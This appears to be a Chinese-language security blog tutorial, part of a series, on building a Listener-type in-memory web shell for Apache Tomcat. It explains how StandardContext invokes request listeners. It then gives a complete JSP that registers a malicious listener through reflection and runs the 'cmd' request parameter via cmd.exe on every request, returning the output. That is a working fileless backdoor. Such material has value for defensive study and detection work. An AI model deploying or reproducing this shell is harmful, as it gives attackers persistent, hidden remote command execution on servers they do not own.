Java内存马Tomcat篇04-Listener型内存马

0x00 前言

Listener型内存马比Filter型内存马简单一些。

0x01 Listener流程分析

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.listener;

import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;

@WebListener("/listener1")
public class Listener1 implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被调用");
}
}

这里提一嘴,我使用的Tomcat版本是10.1.40,对应Java11,所以有些步骤与其他师傅不同,但是核心流程都是一致的。

至于为什么要实现ServletRequestListener接口,简单来说,ServletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法和fireRequestDestroyEvent方法,正因如此,Listener型内存马不需要动态设置路由。

调用Listener

StandardContext的fireRequestInitEvent方法调用了Listener。

先通过getApplicationEventListeners方法获得Listener,实际上是从applicationEventListenersList这个List里获取:

image-20250510163541396

我们可以通过调用addApplicationEventListener方法把恶意的Listener型内存马放到该List里。

调用Listener的requestInitialized方法:

image-20250510163149166

与fireRequestInitEvent方法对应的还有fireRequestDestroyEvent方法,会调用Listener的requestDestroyed方法。所以无论把恶意内容写到Listener的两个方法中的哪个,都是可以的。

0x02 构造内存马

所以思路就很简单了:

  1. 编写恶意Listener
  2. 获取StandardContext
  3. 把恶意Listener放入StandardContext类的applicationEventListenersList里

jsp文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Context" %>
<%!
// 构造恶意的Listener型内存马
public class Listener2 implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {}

public void requestDestroyed(ServletRequestEvent sre){
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}

}
%>
<%
// 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Listener2 listener2 = new Listener2();
// 把Listener放入StandardContext类的applicationEventListenersList里
context.addApplicationEventListener(listener2);
%>